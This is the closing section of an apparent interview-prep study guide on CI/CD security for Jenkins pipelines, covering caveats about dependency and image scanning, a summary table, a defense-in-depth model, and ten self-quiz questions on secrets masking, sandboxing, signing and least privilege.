- ⚠ **`--ignore-unfixed` can mask real risk.** Trivy's `--ignore-unfixed` flag skips vulnerabilities with no available fix — which dramatically reduces noise. But "no fix available" doesn't mean "not exploitable." Teams should periodically review unfixed vulnerabilities even if they don't block the build.
- **Vulnerability database freshness matters.** Trivy, OWASP DC, and Snyk update their vulnerability databases regularly. A build that passes today might fail tomorrow if a new CVE is published for a dependency you're already using. This is correct behavior — but it can cause "Monday morning surprises" when builds that passed Friday fail Monday due to new CVE publications.
- **SAST false positive rate is high.** Semgrep and SAST tools often report false positives — code patterns that look dangerous but are safe in context. High false positive rates → developers start dismissing all findings → the tool loses effectiveness. Tune rules, add suppressions with documentation, and regularly review rule sets.
- **Parallel security scans can overwhelm small agent pods.** Running Trivy + Semgrep + Checkov in parallel requires 3 separate containers — plan pod resource requests accordingly. Trivy especially is memory-hungry when scanning large images (it loads the CVE database into memory).
- **Container image scanning catches OS-layer vulnerabilities source code scans miss.** A Go application with no vulnerable Go dependencies might still run on a base image with a vulnerable OpenSSL version. Always scan the final container image in addition to source-level dependency scanning.

📊 Category 7 Summary — Quick Reference

Topic	Core Concept	Interview Priority
7.1 Secrets Management ⚠	`withCredentials()` masking; single-quote shell; Vault dynamic; pre-commit hooks	⭐⭐⭐⭐⭐
7.2 Pipeline Sandbox	Groovy sandbox interceptor; script approval; trusted vs untrusted libraries	⭐⭐⭐⭐⭐
7.3 Supply Chain Security	SBOM (Syft/CycloneDX); Cosign keyless signing; SLSA levels; Rekor	⭐⭐⭐⭐⭐
7.4 Least Privilege	Folder-scoped credentials; SA per team; scoped IAM; NetworkPolicy	⭐⭐⭐⭐
7.5 Dependency Scanning + SAST	Trivy/Semgrep/Checkov in parallel; threshold strategy; suppression files	⭐⭐⭐⭐

🔑 The Mental Model for Category 7

```
CI/CD security has four concentric circles of protection:

CIRCLE 1: Prevent secrets from entering the system
  Pre-commit hooks (gitleaks, detect-secrets)
  Secrets stored in Vault/Jenkins credential store, not source code
  BuildKit --secret for Dockerfile builds

CIRCLE 2: Restrict what pipelines can do
  Groovy Sandbox: pipeline code can't escape to JVM internals
  Trusted library review: only vetted code runs without sandbox
  Least privilege: pipelines have only the permissions they need

CIRCLE 3: Verify what you're building
  SBOM: know every dependency
  SAST: find your own vulnerabilities before attackers
  Dependency scanning: find third-party vulnerabilities
  IaC scanning: find infrastructure misconfigurations

CIRCLE 4: Verify what you're deploying
  Cosign image signing: prove the image came from your CI
  Admission controllers: reject unsigned images at deploy time
  SLSA provenance: prove the build process was trustworthy

Security is defense-in-depth — each layer assumes the previous one failed.
```

🧪 Self-Quiz — 10 Interview Questions

1. Why does `sh "psql ... ${DB_PASS}"` leak the password even with `withCredentials()`? How do you fix it?
2. A developer reports: "My pipeline fails with 'Scripts not permitted to use new java.io.File'. What's the right way to handle this?" Walk through the answer.
3. What's the difference between a Trusted and Untrusted Shared Library? Why does the trust level of a Shared Library matter for Jenkins security?
4. Explain Cosign keyless signing. What is Fulcio? What is Rekor? Why is keyless preferred over key-based?
5. A supply chain attack compromises the build environment and injects malicious code AFTER source checkout but BEFORE compilation. Which security mechanism is specifically designed to detect this? How?
6. Why is giving a CI pipeline `cluster-admin` in Kubernetes a bad idea even if it "just works"? What's the correct alternative?
7. What is SLSA Level 3? What does it require from a Jenkins setup specifically?
8. Trivy reports 50 MEDIUM and 2 CRITICAL vulnerabilities. How do you decide what to block the build on? What do you do with accepted risks?
9. A developer asks you to approve `staticMethod jenkins.model.Jenkins getInstance` in Script Approval because their pipeline needs it. What do you say? What's the correct approach?
10. What's dependency confusion, and how does a Jenkins pipeline + private Nexus/Artifactory reduce its risk?

Next: Category 8 — Scaling, Performance & Reliability Or: "quiz me" to test yourself on Category 7

> **Document:** Category 7 Complete | Security in CI/CD **Coverage:** 5 topics | Intermediate → Advanced **Key insight:** Security is not a gate at the end — it's woven through every layer of the pipeline. The CI system itself is an attack surface, not just a tool.